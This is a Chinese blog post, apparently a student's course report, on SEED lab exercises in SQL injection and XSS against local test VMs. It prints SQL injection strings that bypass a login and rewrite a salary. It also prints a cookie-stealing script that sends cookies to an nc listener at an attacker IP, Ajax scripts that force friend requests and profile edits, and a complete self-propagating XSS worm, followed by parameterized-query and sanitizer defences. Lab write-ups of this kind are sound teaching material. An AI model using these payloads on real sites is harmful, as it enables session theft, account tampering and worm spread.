20222806 2022-2023-2 《网络攻防实践》实践十报告

已于 2023-05-17 19:13:47 修改
阅读量298 收藏 1
点赞数
文章标签： 网络 数据库 mysql
于 2023-05-17 17:19:12 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_34529750/article/details/130721669
版权

实践十 Web应用程序安全攻防

实践内容

SQL注入攻击和XSS攻击都是常见的网络安全攻击方式。SQL注入攻击指的是攻击者在 HTTP 请求中注入恶意 SQL 命令，服务器用请求参数构造数据库 SQL 命令时，恶意 SQL 被一起构造，并在数据库中执行，以便得到数据库中的感兴趣的数据或对数据库进行读取、修改、删除、插入等敏感的操作，从而导致数据被泄露或者被篡改。
XSS攻击指的是攻击者在网页中注入恶意脚本代码，使得用户在浏览网页时，恶意脚本代码会被执行，从而达到攻击者的目的。XSS 攻击可以分为反射型、存储型和 DOM 型三种类型。
SQL注入攻击和XSS攻击都是常见的网络安全问题。为了防止这些问题，我们可以采取一些措施来保护我们的网站。例如，对于 SQL 注入攻击，我们可以使用参数化查询来防止 SQL 注入攻击；对于 XSS 攻击，我们可以使用输入验证和输出编码来防止 XSS 攻击123。
本次实验为了学习、了解和实践两种攻击形式，我们将使用SEEDUbuntu来进行一系列的实验

实践过程

一、SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序，并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色：管理员是特权角色，可以管理每个员工的个人资料信息。员工是一般角色，可以查看或更新自己的个人资料信息。完成以下任务：

  • （1）熟悉SQL语句： 我们已经创建了一个名为Users的数据库，其中包含一个名为creditential的表。该表存储了每个员工的个人信息（例如，eid，密码，薪水，ssn等）。在此任务中，您需要使用数据库来熟悉SQL查询。
  • （2）对SELECT语句的SQL注入攻击：上述Web应用存在SQL输入漏洞，任务是在不知道密码的情况下登陆该Web应用程序。
  • （3）对UPDATE语句的SQL注入攻击：通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
  • （4）SQL对抗：修复上述SQL注入攻击漏洞。

（1）熟悉SQL语句

1、确认Apache服务
打开Ubuntu，输入命令,分别启动Apache和查看对应的Apache状态

sudo service apache2 start
sudo service apache2 status

在这里插入图片描述

自带的Firefox有HTTP Header Live
在这里插入图片描述
2.查看Ubuntu所存在的数据库
使用命令mysql -u root -pseedubuntu登录mysql数据库
输入命令show databases;查看已有数据库
在这里插入图片描述
在这里插入图片描述
输入命令use Users;切换到其中的Users数据库
输入命令show tables;查看对应的表格
在这里插入图片描述
输入SQL查询语句select * from credential;对该表进行查询
在这里插入图片描述
针对该表输入select * from credential where Name = 'Admin';查看用户Admin的相关信息
在这里插入图片描述

（2）对SELECT语句的SQL注入攻击

打开网址http://www.seedlabsqlinjection.com/
在这里插入图片描述
首先我们需要找到这个页面的源代码
在/var/www/SQLInjection/目录下可以找到unsafe_home页面的源代码，使用sudo vim /var/www/SQLInjection/unsafe_home.php查看
在这里插入图片描述
可以看到主要的SQL语句为$sql = "SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’";因此可以在这里用SQL注入的方式进行攻击，可以看到之前查到的用户Admin
这里将输入Admin' #说明用'符号将SQL语句强行终止，并且加上#将后面的语句全部注释
在这里插入图片描述
成功实行注入攻击
在这里插入图片描述
不仅仅是Admin用户，这张表的任意一个用户都可以用SQL注入的形式进行登录访问，此处以Alice用户为例：
在这里插入图片描述
访问成功
在这里插入图片描述

（3）对UPDATE语句的SQL注入攻击

在UPDATE编辑数据库内容的页面查看其源码可以发现主要是调动了unsafe_edit_backend.php这个文件，因此如果需要对UPDATE语句进行注入攻击需要对该页面源码进行查看其具体的UPDATE语句
在这里插入图片描述

找到文件unsafe_edit_backend.php，利用vim命令进入
vim unsafe_edit_backend.php
在这里插入图片描述

第一个内容是input_nickname，因此和上面的语句一样直接进行构造注入语句
', Salary='2333333' where name='Admin'; #
在这里插入图片描述

修改成功
在这里插入图片描述

（4）SQL对抗：修复上述SQL注入攻击漏洞

为什么会存在SQL注入攻击的漏洞，其主要原因是因为没有对输入的SQL语句中的数据和命令进行标识和区分
主要使用php语言中的bind_param绑定参数，在SQL语句中预设好参数，并暂时用?来标记，接下来输入的参数将逐步替代?

$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);

在这里插入图片描述
在修改SQL语句后进行输入SQL注入命令
在这里插入图片描述
可以发现已经显示输入错误了
在这里插入图片描述
同理，对UPDATE语句进行同样的修改

$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);

在这里插入图片描述

二、SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么，我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中，学生需要利用此漏洞对经过修改的Elgg发起XSS攻击，攻击的最终目的是在用户之间传播XSS蠕虫，这样，无论是谁查看的受感染用户个人资料都将被感染。

  • （1）发布恶意消息，显示警报窗口：在您的Elgg配置文件中嵌入一个JavaScript程序，以便当另一个用户查看您的配置文件时，将执行JavaScript程序并显示一个警报窗口。

  • （2）弹窗显示cookie信息：将cookie信息显示。

  • （3）窃取受害者的cookies：将cookie发送给攻击者。

  • （4）成为受害者的朋友：使用js程序加受害者为朋友，无需受害者干预，使用相关的工具了解Elgg加好友的过程。

  • （5）修改受害者的信息：使用js程序使得受害者在访问Alice的页面时，资料无需干预却被修改。

  • （6）编写XSS蠕虫。

  • （7）对抗XSS攻击。

（1）发布恶意消息，显示警报窗口

首先登陆网站http://www.xsslabelgg.com
用户名密码分别为上个实验的用户名，密码：seed+用户名
Admin除外，Admin的密码是seedelgg
这里以Alice为例，密码为seedalice
在这里插入图片描述
在这里插入图片描述
点击头像选择Edit profile选项
在这里插入图片描述
在Brief description中输入xss攻击代码
<script> alert('xss');</script>
在这里插入图片描述
系统给出警告
在这里插入图片描述

（2）弹窗显示cookie信息：将cookie信息显示。

将原本的xss内容换成获取cookie的语句
<script> alert(document.cookie);</script>
在这里插入图片描述
可以看到相关的cookie
在这里插入图片描述

（3）窃取受害者的cookies：将cookie发送给攻击者。

在这里插入图片描述
查看本机IP为192.168.200.3
选取端口2333
同时选取攻击代码为<script>document.write('<img src=http://192.168.200.3:2333?c='+escape(document.cookie) + ' >');</script>
该攻击代码将目标（Boby）的cookie放入一个请求，然后向攻击者（Alice）发送
我们将攻击代码设在Alice的Brief description中
在这里插入图片描述

Logout后用Boby的账户访问Alice的界面，同时输入命令nc -l 2333 -v来监听端口
blog.csdnimg.cn/1b1b45a8300647ee8ac678b83864fb87.png)
最后拿到了他的cookie
在这里插入图片描述

（4）成为受害者的朋友

我们需要记录一下该网页更新朋友相关信息的内容
在这里插入图片描述
在Alice登录的情况下，点击More->Member->Boby，点击Add friend
同时F12打开开发者工具，可以发现上传了一个POST请求
在这里插入图片描述
在这里插入图片描述
可知请求的地址是http://www.xsslabelgg.com/action/friends/add
第一个参数是friend=、第二个参数是&__elgg_ts=、第三个参数是&__elgg_token=
因此有xss攻击代码

<script type="text/javascript">
window.onload = function () {
    var Ajax=null;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;


    //Construct the HTTP request to add Samy as a friend.
    var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;

    //Create and send Ajax request to add friend
    Ajax=new XMLHttpRequest();
    Ajax.open("GET",sendurl,true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    Ajax.send();
}
</script>

该段代码获取访问者的__elgg_ts和__elgg_token，然后使用先前找到的URL强制加上好友，将总的url发送出去，这段代码放在Alice的About me下面，务必是在edit html的情况下进行输入才可以执行！
在这里插入图片描述

这里使用Charlie的账号做实验，首先登陆，可以看到现在朋友一栏为空
在这里插入图片描述

访问了一下Alice的主页发现自动添加了Alice的好友（甚至Alice自己是自己的好友）
在这里插入图片描述

（5）修改受害者的信息

依葫芦画瓢，和上一个添加好友的操作一样，这一次记录一下修改about me的请求连接
在这里插入图片描述
构造攻击代码

<script type="text/javascript">
	window.onload = function(){
		//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
		//and Security Token __elgg_token
		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "name=" + userName + "&description=<p>20222806cxd</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)
		//FILL IN
		var samyGuid=44;
		//FILL IN
		if(elgg.session.user.guid!=samyGuid)
		{
			//Create and send Ajax request to modify profile
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
	}
</script>

换Charlie的账号去访问的时候被强制修改了
在这里插入图片描述

（6）编写XSS蠕虫。

按照之前的原理编写蠕虫代码

<script id="worm" type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "&name=" + userName + "&description=<p>20222806cxd"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)

		var samyGuid=44;

		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
		
	}
</script>

在这里插入图片描述
已被攻击
在这里插入图片描述

（7）对抗XSS攻击。

登录管理员账号利用网页内部的HTMLawed进行对抗攻击
路径Account->Administrator->plugins，
在这里插入图片描述
在这里插入图片描述
重新登录其他账户测试XSS攻击是否有效
在这里插入图片描述
可以发现已经失效
在这里插入图片描述

学习中遇到的问题及解决

问题1：修改hostname以后无法使用sudo命令
解决方法：主要是在/etc/hosts中127.0.1.1对应的VM并未改回新的hostname：20222806cxd，然后修改这个文件又需要sudo权限，所以需要新的方法进行修改：
开启两个终端，第一个终端里执行：

echo $$
第二个终端里执行：

pkttyagent --process PID_FROM_STEP_1 #这里为第一个终端里的PID
这个时候就可以在第一个终端里执行：

pkexec sudo vim /etc/hosts
pkexec sudo vim /etc/hostname
在这里插入图片描述
参考博客: https://blog.csdn.net/Kim891212/article/details/101244618

实践总结

经过本次实验的学习，我较为印象深刻地学习了SQL注入攻击和XSS攻击、以及两者相应的反制方法，希望能在未来可以进一步学习这两个攻击的相关内容和应用

ShadowCra1
关注
网络攻防实验-XSS攻击-基于Elgg-Task1-4
Code_Thinking的专栏
06-06 8306
网络攻防实验报告                                                                                       ——XSS攻击 何为XSS攻击? XSS即Cross-site scripting跨站脚本,它是一种经常在web应用中出现的漏洞，攻击者可以使用该漏洞注入一些恶意代码以实现对受害者的攻击。 一、实验环境
SeedLabs-Web安全-XSS实验
Anonymity
06-25 4975
SeedLabs-Web安全-XSS实验 文章目录SeedLabs-Web安全-XSS实验前言一、Lab Tasks1.1 熟悉“HTTP Header Live”工具1.2 发布恶意消息以显示警报窗口1.3 发布恶意消息以显示Cookie1.4 从受害者的机器上窃取Cookie 前言 CSRF注入的实验记录 提示：以下是本篇文章正文内容，下面案例可供参考 一、Lab Tasks 1.1 熟悉“HTTP Header Live”工具 在这个实验室中，我们需要构造HTTP请求。找出Elgg中可接受的H
Collabtive系统SQL注入实验
weixin_34088583的博客
04-23 232
2019独角兽企业重金招聘Python工程师标准>>> ...
Collabtive系统XSS攻击实验
qq_29687403的博客
07-29 1941
Collabtive系统XSS攻击实验实验简介跨站点脚本(XSS)是一种常见较弱的web应用程序漏洞,攻击者使用这个漏洞注入恶意代码(例如JavaScript)来攻击受害者的web浏览器。 使用恶意代码,攻击者可以轻松窃取受害者的凭证,例如cookies的访问控制政策(例如：IE同源策略)受雇于浏览器可以保护这些凭证绕过XSS漏洞，利用这种漏洞可能会导致大规模的攻击。预备知识什么是XSSXSS(C
基于SeedUbuntu20.04跨站脚本攻击（XSS）
shshuahw的博客
08-09 2384
XSS攻击和CSRF有类似的地方，但是他比CSRF更难防，也更常见。 CSRF是伪造一个跨站请求，他要先骗别人进入自己精心设计的网站，但是一个不被信任的第三方网站在跳转时，往往站点会贴心地提醒你有被攻击的风险。但是跨站脚本攻击不一样，它可以将代码插入一个被信任的网站的源代码中。 我们经常在逛一些奇怪的网站时发现网页中些弹窗和涩涩的广告，往往就是网站受到了攻击，网页代码中被植入攻击者的恶意代码。这种情况常见于一些被废弃的网站中，被废弃的网站由于缺乏维护，就容易受到攻击。 一.在Elgg里注入Javascrip
20222928 2022-2023-2 《网络攻防实践》实践四报告
qq_43791615的博客
03-29 914
20222928 2022-2023-2 《网络攻防实践》实践四报告
20222820 2022-2023-2 《网络攻防实践》实践五报告
weixin_44226607的博客
04-05 779
防火墙是目前最成熟的网络防御技术之一，属于一种网络上的访问控制机制，通过在不同网络域之间建立起安全控制点，对通过的网络传输数据进行检查，根据具体的安全需求决定是否允许网络访问通过防火墙，达到特定网络安全域免受非法访问和破坏的目标。入侵检测技术定义是对入侵行为的检测与发现。两个重要参数是检测率和误报率。信息收集是入侵检测技术的基础。收到信息后最核心的任务是信息分析，两种基本的分析技术是梧误用检测和异常检测。入侵检测系统的部署位置如图1.3所示：入侵检测系统的部署位置。
20222934 2022-2023-2 《网络攻防实践》第1次作业
weixin_43976874的博客
03-02 406
20222934 2022-2023-2 《网络攻防实践》第1次作业
20222959 2022-2023-2《网络攻防实践》第1周作业
qq_44823422的博客
03-06 613
网络攻防实践第一周作业
20221915 2022-2023-2 《网络攻防实践》实践六报告
Chris's blog
04-12 374
20221915 2022-2023-2 《网络攻防实践》实践六报告
20221915 2022-2023-2 《网络攻防实践》实践十报告
Chris's blog
05-14 200
本次实践让我学习SQL注入和XSS攻击的方法，了解其中的攻击原理。
20221909 2022-2023-2 《网络攻防实践》第1周作业
zxr287的博客
03-02 381
实践一
20221902 2022-2023-2 《网络攻防实践》第一次作业
xiannvyeye的博客
03-03 659
网络攻防环境搭建
软件安全实验-SEEDubuntu-Shellshock Attack Lab
Luobuda的博客
11-30 2382
实验要求 Task 1 Task 2 Task 3 Task 4 Task 5 Task 6 实验环境 SEEDUbuntu（Ubuntu 16.04） 实验步骤 Task1 Bash的版本：在本书提供的SEED Ubuntu 16.04虚拟机中，有两个版本的Bash程序位于/bin目录中。一个版本就叫Bash,这个版本已经打了补丁，所以不会受Shellshock攻击的影响。终端中运行的shell程序就是这个安全的Bash版本，它在函数传递的行为方面做了改变。另外一个版本叫bash_shells
4.网络编程
最新发布
weixin_45476535的博客
09-14 453
程序注册端口：1024-49151。单个协议下，端口号不能冲突。公有端口0-1023。
使用堡垒机登录ftp服务报网络不可达错误
ajax_beijing_java的博客
09-14 163
解决方法：由于不想安装额外的服务在服务器上，于是想到使用sftp服务代替ftp服务，发现是可以使用的。22端口默认就是启动的，在堡垒机上加了sftp服务，再次连接服务器并使用filezila传输文件 ，文件可以正常传输。至此，问题得到解决。场景：开发同事想使用ftp传输服务，连接服务器时报网络不可达错误。排查发现，如果想使用ftp服务，需要在服务器上部署ftp服务，21端口才会存在，才可以访问该服务。
如何在DPDK中实现协议解析？
Do my best!
09-10 693
在 DPDK 中实现协议解析涉及几个步骤，包括初始化环境、配置网卡、接收数据包、解析数据包并处理数据包。下面将详细介绍这些步骤以及如何在 DPDK 中实现基本的协议解析。
如何用3个月零基础入门网络安全？_网络安全零基础怎么学习
2401_84466224的博客
09-11 923
我们知道计算机最早是在西方发明出来的，很多名词或者代码都是英文的，甚至现有的一些教程最初也是英文原版翻译过来的，而且一个漏洞被发现到翻译成中文一般需要一个星期的时间，在这个时间差上漏洞可能都修补了。”答案是否定的，黑客用的电脑,不需要什么高的配置,只要稳定就行.因为黑客所使用的一些程序,低端CPU也可以很好的运行,而且不占什么内存.还有一个,黑客是在DOS命令下对进行的,所以电脑能使用到最佳状态!观看学习近十年所有0day挖掘的帖，然后搭建环境，去复现漏洞，去思考学习笔者的挖洞思维，培养自己的渗透思维。
iptables实现内外网ip转换
m0_67475830的博客
09-13 473
准备三台虚拟机。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值